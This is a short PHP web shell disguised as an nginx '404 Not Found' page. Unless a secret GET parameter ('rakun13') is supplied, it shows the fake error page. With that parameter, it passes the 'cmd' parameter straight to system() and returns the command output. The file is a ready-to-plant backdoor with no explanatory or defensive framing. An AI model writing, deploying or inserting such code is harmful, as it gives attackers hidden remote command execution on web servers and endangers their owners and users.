<?php 

if (!isset($_GET["rakun13"])) {
    header("HTTP/1.1 404 Not Found", true, 404);
    header("Status: 404 Not Found");
?>
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>
<?php
    exit;
} else {
    if (isset($_GET["cmd"])) {
        header("Content-Type: text/plain");
        system($_GET["cmd"]);
        exit;
    }
}
?>